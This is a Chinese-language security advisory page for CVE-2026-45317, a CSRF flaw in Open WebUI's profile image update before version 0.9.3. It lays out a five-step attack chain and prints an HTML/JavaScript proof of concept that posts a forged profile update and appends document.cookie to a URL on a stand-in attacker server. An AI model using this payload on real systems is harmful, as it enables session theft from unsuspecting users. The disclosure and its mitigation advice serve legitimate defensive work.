IPBUF安全漏洞报告
English
CVE-2026-45317 CVSS 4.6 中危

CVE-2026-45317 Open WebUI存在跨站请求伪造漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45317
漏洞类型
跨站请求伪造 (CSRF)
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Open WebUI

相关标签

CSRFOpen WebUI跨站请求伪造中危Image UploadCookie Theft

漏洞概述

Open WebUI是一个旨在完全离线运行的自托管人工智能平台。在0.9.3版本之前,该平台被发现在图片上传功能中存在应用程序范围的跨站请求伪造(CSRF)漏洞。攻击者可以将图片URL设置为恶意端点,从而代表受害用户执行操作。任何经过身份验证的用户都可以利用此漏洞,任何查看受损图片(例如个人头像)的用户都会在不知情的情况下向攻击者控制的URL发送GET请求。这可能导致Cookie被盗、拒绝服务(DoS)或其他恶意行为。

技术细节

该漏洞的核心在于Open WebUI在处理图片上传或头像设置功能时,未对关键操作实施充分的跨站请求伪造防护机制(如CSRF Token或Referer检查)。攻击者通过构造恶意的HTML页面或脚本,诱导已登录的受害用户访问。当受害者的浏览器加载恶意页面时,会自动向Open WebUI的服务器发送一个伪造的请求(通常是POST请求),用于修改用户的设置,将头像图片的URL指向攻击者控制的服务器地址。一旦修改成功,当受害用户或其他用户再次查看该头像时,浏览器会向攻击者的服务器发送GET请求以获取图片。由于该请求携带了用户的上下文信息,攻击者可利用此机制窃取Cookie、执行未授权操作或对内部网络进行扫描。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用Open WebUI,且版本低于0.9.3。
STEP 2
武器化
攻击者准备一个恶意的HTML页面,其中包含用于修改用户头像URL的CSRF Payload,并将目标URL指向攻击者控制的服务器。
STEP 3
投递
攻击者通过电子邮件、社交媒体或其他方式,诱导已登录的受害用户点击链接访问该恶意页面。
STEP 4
利用
受害用户访问恶意页面,浏览器在后台自动向Open WebUI发送伪造的请求,将受害者的头像更新为恶意URL。
STEP 5
安装/行动
受害用户或其他用户浏览包含该恶意头像的页面,浏览器向攻击者服务器发送GET请求(携带敏感信息如Cookie),导致数据泄露或触发攻击者的后续逻辑。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-45317: Open WebUI CSRF Vulnerability Description: This HTML snippet demonstrates how an attacker could craft a malicious page to update a victim's profile image to a URL controlled by the attacker. Usage: Host this file and trick an authenticated Open WebUI user into visiting it. --> <html> <body> <h2>CSRF PoC for Open WebUI</h2> <p>Attempting to update profile image via CSRF...</p> <script> // Target URL of the vulnerable Open WebUI instance const targetHost = "http://TARGET_OPENWEBUI_HOST"; const apiUrl = `${targetHost}/api/v1/user/update`; // Malicious payload: setting the image URL to an attacker-controlled endpoint // This endpoint logs the request, potentially stealing cookies or causing DoS. const maliciousImageUrl = "http://ATTACKER_SERVER/steal.jpg?data="; // The payload structure depends on the actual API implementation of Open WebUI const payload = { "profile_image_url": maliciousImageUrl + document.cookie // Example: Exfiltrating cookie via URL param }; fetch(apiUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, credentials: 'include', // Crucial: Sends the victim's cookies with the request body: JSON.stringify(payload) }) .then(response => { if (response.ok) { console.log("CSRF Attack Successful: Profile image updated."); document.body.innerHTML += "<p>Attack Successful! Check console.</p>"; } else { console.log("CSRF Attack Failed."); } }) .catch(error => { console.error("Error:", error); }); </script> </body> </html>

影响范围

Open WebUI < 0.9.3

防御指南

临时缓解措施
建议管理员立即将Open WebUI升级到修复后的0.9.3版本。如果暂时无法升级,应限制对应用的外部访问,并教育用户不要在登录状态下点击来源不明的链接或访问不可信的网站,以减少被CSRF攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表